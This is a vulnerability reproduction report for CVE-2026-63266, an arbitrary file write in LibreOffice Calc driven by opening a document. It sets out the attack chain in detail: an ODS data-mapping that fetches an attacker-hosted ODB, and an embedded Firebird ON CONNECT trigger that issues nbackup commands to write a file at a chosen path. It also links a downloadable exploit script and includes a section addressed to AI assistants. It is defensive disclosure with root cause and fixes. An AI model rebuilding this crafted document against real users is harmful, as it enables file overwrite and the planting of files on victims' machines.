# REPRO-2026-00376: Arbitrary file write via calcext:data-mappings, sql provider and Firebird backup functionality — document-driven write to any user-writable path ## Summary Status: published Severity: high CVSS: Unknown CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00376 CVE: CVE-2026-63266 ## Package Name: LibreOffice/core Ecosystem: other Affected: LibreOffice Calc versions prior to 26.2.5 (e.g. 26.2.4.2, last 26.2 release before the fix); 25.x line before 26.8.0 fix lineage Fixed: 26.2.5 ## Root Cause # CVE-2026-63266 — Root Cause Analysis ## Summary LibreOffice Calc restores persisted external data links (`calcext:data-mappings`) while a document is being loaded. A crafted ODS can persist an `org.libreoffice.calc.sql` data-mapping whose database component resolves to an attacker-hosted `.odb` document containing an *embedded* Firebird database. In affected versions (LibreOffice 26.2.4.2 and earlier 26.2.x), the embedded Firebird driver restores/attaches that database without `isc_dpb_no_db_triggers`, so an `ON CONNECT` database trigger stored in the crafted database executes during document open. That trigger drives the Firebird *nbackup* functionality (`ALTER DATABASE ADD DIFFERENCE FILE ''` + `ALTER DATABASE BEGIN BACKUP`), which makes the Firebird engine create and write the nbak difference file at **any attacker-chosen location the user can write to** — an arbitrary file write driven purely by opening a document. ## Impact - Package/component affected: LibreOffice Calc (sc — external data provider import), dbaccess (`sdb::DatabaseContext`), connectivity Firebird SDBC driver (`connectivity/source/drivers/firebird`) and the bundled Firebird 3.0.14 engine. - Affected versions: LibreOffice 26.2 series below 26.2.5 (verified on the official 26.2.4.2 Linux x86-64 build, build commit `0229ac93fcf0d7cbc6376066c6f35021cef002dc`). - Risk level: high (advisory severity). Consequences: a victim who opens an attacker crafted spreadsheet gets a file written (created/appended, engine page data plus attacker-influenced content such as trigger-inserted rows and the stored target-path header clumplet) to any path the victim user can write — e.g. overwriting a user config file, planting files in auto-started locations, or corrupting user data. ## Impact Parity - Disclosed/claimed maximum impact: "Arbitrary file write to any path the user can write, driven by a crafted document on open" (advisory CVE-2026-63266; claim contract expected impact `oob_write`). - Reproduced impact from this run: **full parity** — opening the crafted ODS in the vulnerable product created a new file at an attacker-chosen absolute user-writable path (`$HOME/CVE-2026-63266_PWNED.marker`, 16 KB+, containing the attacker-chosen target path and attacker-controlled row content), entirely outside LibreOffice's temp/firebird private directories. The fixed product opened the same document through the same path without creating the file. - Parity: `full`. - Not demonstrated: this proof stops at the arbitrary file write (the claimed impact). No code execution was attempted and none is claimed by this advisory. ## Root Cause Chain of vulnerable decisions (all corrected in 26.2.5): 1. **Calc restores external data mappings at load** — `sc/source/filter/xml/xmlmappingi.cxx`: `ScXMLMappingContext` inserts the `calcext:data-mapping` (provider `org.libreoffice.calc.sql`, id `T@`) and its destructor immediately calls `ExternalDataSource::refresh(pDoc, true)`. 2. **The sql provider resolves the database part of the id as a URL** — `sc/source/ui/dataprovider/sqldataprovider.cxx` → `sdb::DatabaseContext::getByName(aDatabase)`; in `dbaccess/source/core/dataaccess/databasecontext.cxx`, a non-registered name is *interpreted as a URL* and loaded (`loadObjectFromURL`), so the crafted ODS pulls the attacker-hosted `.odb` over HTTP at load time. 3. **The embedded Firebird database is attached without `isc_dpb_no_db_triggers`** — `connectivity/source/drivers/firebird/Connection.cxx` (`construct`): for `sdbc:embedded:firebird` the fbk is restored via the Firebird service manager and the resulting database is attached; the crafted database's `ON CONNECT` trigger therefore runs inside the victim's LibreOffice process. 4. **The engine is not confined to a private directory** — the bundled Firebird engine had no `DatabaseAccess = Restrict` confinement, and the nbak difference file paths stored in the database header were not verified against `DatabaseAccess` (see LO's bundled-firebird patch `external/firebird/firebird-nbak-difference-file-access.patch.1`: "The difference file opened in openDelta and beginBackup was not verified against DatabaseAccess like the other database file paths"). The `ON CONNECT` trigger runs `ALTER DATABASE ADD DIFFERENCE FILE ''` + `ALTER DATABASE BEGIN BACKUP`; `BackupManager::beginBackup` does `PIO_create(tdbb, diff_name, ...)` at the stored path → a file is created and written at the attacker-chosen location. Fix commits (all part of LibreOffice 26.2.5 / 26.8.0, present in the verified fixed build `cd7284b4cbbfeb507e630c1aac019f4157393acb` and absent from the vulnerable build): - `c656bab4c907` (cherry-picked as `b7c1e1cc355c` in 26.2.5) — "firebird: keep each embedded database's files in one directory": gives the driver a private data directory, extracts embedded databases into it and writes `firebird.conf` with `DatabaseAccess = Restrict ` so an embedded Firebird database can open or create files only inside its own private directory (the advisory's stated fix). - `736210ff4ced` (`4c75c4c03577`) — "firebird: don't attach a database that is not in the normal backup state" + the bundled nbak difference-file `DatabaseAccess` check. - `cc5ac2a8197a` (`27ba4a9d24cb`) — "firebird: don't run an attached database's own event triggers" (`isc_dpb_no_db_triggers`), blocking the ON CONNECT vector. - `8cfa628be87f` (`249c36ad76da`) — "firebird: only write back an embedded database that was opened". - `49c3c4e59c48` — "put calc external data mappings under link update control" (the sibling hardening that stops the sql provider from auto-restoring at load). ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash bundle/repro/reproduction_steps.sh`, exit 0 = confirmed). 2. What the script does: - Installs the shared-library prerequisites of the official LibreOffice deb binaries and downloads/pins by SHA-256 the official 26.2.4.2 (vulnerable) and 26.2.5.2 (fixed) Linux x86-64 builds plus the Firebird 3.0.14 toolset that matches the engine LibreOffice bundles. - Crafts the malicious embedded Firebird database with standalone `isql`: a table with attacker-chosen rows and an `ON CONNECT` database trigger that executes `ALTER DATABASE ADD DIFFERENCE FILE '<$HOME/CVE-2026-63266_PWNED.marker>'` and `ALTER DATABASE BEGIN BACKUP`, then inserts an attacker-chosen row; `gbak` produces `evil.fbk` (the trigger survives backup/restore — verified). - Builds `crafted/evil.odb` (a real Base ODB package declaring `sdbc:embedded:firebird` with our fbk swapped into the `database/firebird.fbk` storage element, shape taken from `repro/ref_odb.zip` produced by the real product) and `crafted/evil.ods` (a real Calc ODS package with `calcext:data-mapping xlink:href=http://127.0.0.1:/evil.odb calcext:provider="org.libreoffice.calc.sql" calcext:id="T@http://127.0.0.1:/evil.odb"` inside `office:spreadsheet`, shape from `repro/ref_ods.zip`). - Serves `evil.odb` from a local attacker HTTP server (the attacker-hosted ODB of the advisory's scenario), then runs **two vulnerable and two fixed product attempts** through the real document-open path (`soffice --headless --convert-to ods`, fresh `-env:UserInstallation` profile per attempt, bounded by `timeout`), recording per-attempt transcripts, HTTP access snapshots and the marker file, and writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence of reproduction (observed in both consecutive runs): - vulnerable attempts: `odb_http_get_requests=2`, `marker_present=true`, `marker_contains_target_path=true`, soffice exits 134 (product-visible abort *after* the file write — the write itself already succeeded); - fixed attempts: `soffice_exit_code=0`, `odb_http_get_requests=0`, `marker_present=false`; - overall verdict `confirmed=true`, script exit code 0. ## Evidence - Script transcript (both runs): `bundle/logs/reproduction_steps.log` - Attempt verdicts: `bundle/repro/attempts-verdict.json` - Per-attempt proof (immutable): `bundle/repro/proof/vulnerable-{1,2}/` (`soffice.log`, `result.json`, `marker.bin`, `marker-strings.txt`, `attacker-http-snapshot.log`) and `bundle/repro/proof/fixed-{1,2}/` - Runtime manifest with target identity + artifact hashes: `bundle/repro/runtime_manifest.json` (vulnerable target: `git:https://github.com/libreoffice/core@0229ac93fcf0d7cbc6376066c6f35021cef002dc`; fixed control build: `cd7284b4cbbfeb507e630c1aac019f4157393acb`) - Key excerpts (second run): - `attempt vulnerable-1 result: exit=134 odb_gets=2 marker=PRESENT` - `attempt vulnerable-2 result: exit=134 odb_gets=2 marker=PRESENT` - `attempt fixed-1 result: exit=0 odb_gets=0 marker=absent` - `attempt fixed-2 result: exit=0 odb_gets=0 marker=absent` - `=== verdict: confirmed=True ===` - `proof/vulnerable-1/marker-strings.txt` contains the attacker-chosen absolute target path string stored in the crafted database header. - Environment: Ubuntu (resolute) x86-64 container, user `vscode`; official TDF deb builds of LibreOffice 26.2.4.2 and 26.2.5.2 extracted per-run (not installed); attacker HTTP server `python3 -m http.server` on 127.0.0.1. ## Recommendations / Next Steps - Upgrade to LibreOffice >= 26.2.5 (or >= 26.8.0). All five hardening commits listed under Root Cause are contained in the fixed build verified by this proof. - Fix approach (already applied upstream): confine the embedded Firebird engine to a per-driver private directory with `DatabaseAccess = Restrict`, refuse to attach databases in a non-normal nbackup state, verify nbak difference-file paths against `DatabaseAccess`, disable database event triggers on attach (`isc_dpb_no_db_triggers`), and place restored external data mappings under the standard link-update control so the sql provider is not silently re-run at load. - Testing recommendations: add a document-driven regression test that opens an ODS with an `org.libreoffice.calc.sql` data-mapping pointing at an ODB whose embedded Firebird database carries an `ON CONNECT` trigger and an nbak difference-file path outside the private directory, asserting that (a) the trigger does not run and (b) no file appears outside the driver's private directory. ## Additional Notes - Idempotency: the script was executed twice consecutively with identical confirmed results (exit 0 both times). All large downloads are SHA-256-pinned and cached in `$HOME/.cache/pruva-cve-2026-63266`; each attempt uses a fresh LibreOffice profile and a fresh marker state. - Edge cases/limitations: (1) the marker path must be user-writable, as the advisory says ("any location the user could write to"); (2) the vulnerable soffice process aborts (exit 134, "Unspecified Application Error") *after* the write because the trigger leaves the database in the nbak stalled state — the arbitrary write itself has already happened when the abort occurs, which is visible in the attempt logs; (3) the HTTP-hosted ODB models the advisory's attacker-hosted database delivery on loopback; a `file://` URL to a local ODB works identically (verified during development) but the HTTP form matches the disclosed attack shape; (4) the bundled engine is Firebird 3.0.14, so the crafted database was built with the matching upstream Firebird 3.0.14 toolset (its fbk ODS format is engine-version specific). ## Reproduction Details Reproduced: 2026-10-06T05:21:56.621Z Duration: 7015 seconds Tool calls: 404 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00376 pruva-verify CVE-2026-63266 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00376&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00376/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-63266 - Source: https://nvd.nist.gov/vuln/detail/CVE-2026-63266 ## Artifacts - bundle/repro/rca_report.md (analysis, 11710 bytes) - bundle/repro/reproduction_steps.sh (reproduction_script, 20948 bytes) - bundle/logs/reproduction_steps.log (log, 8658 bytes) - bundle/repro/attempts-verdict.json (other, 979 bytes) - bundle/repro/crafted/evil.odb (other, 2800 bytes) - bundle/repro/crafted/evil.ods (other, 7046 bytes) - bundle/repro/proof/fixed-1/attacker-http-snapshot.log (log, 1071 bytes) - bundle/repro/proof/fixed-1/result.json (other, 115 bytes) - bundle/repro/proof/fixed-1/soffice.log (log, 167 bytes) - bundle/repro/proof/fixed-2/attacker-http-snapshot.log (log, 1071 bytes) - bundle/repro/proof/fixed-2/result.json (other, 115 bytes) - bundle/repro/proof/fixed-2/soffice.log (log, 167 bytes) - bundle/repro/proof/vulnerable-1/attacker-http-snapshot.log (log, 570 bytes) - bundle/repro/proof/vulnerable-1/marker-strings.txt (other, 219 bytes) - bundle/repro/proof/vulnerable-1/marker.bin (other, 28672 bytes) - bundle/repro/proof/vulnerable-1/result.json (other, 245 bytes) - bundle/repro/proof/vulnerable-1/soffice.log (log, 30 bytes) - bundle/repro/proof/vulnerable-2/attacker-http-snapshot.log (log, 1071 bytes) - bundle/repro/proof/vulnerable-2/marker-strings.txt (other, 209 bytes) - bundle/repro/proof/vulnerable-2/marker.bin (other, 28672 bytes) - bundle/repro/proof/vulnerable-2/result.json (other, 245 bytes) - bundle/repro/proof/vulnerable-2/soffice.log (log, 30 bytes) - bundle/repro/ref_odb.zip (other, 2566 bytes) - bundle/repro/ref_ods.zip (other, 7195 bytes) - bundle/repro/runtime_manifest.json (other, 4208 bytes) - bundle/repro/validation_verdict.json (other, 1813 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00376 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00376/artifacts/bundle/repro/reproduction_steps.sh - Web: https://www.pruva.dev/reproductions/REPRO-2026-00376 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://www.pruva.dev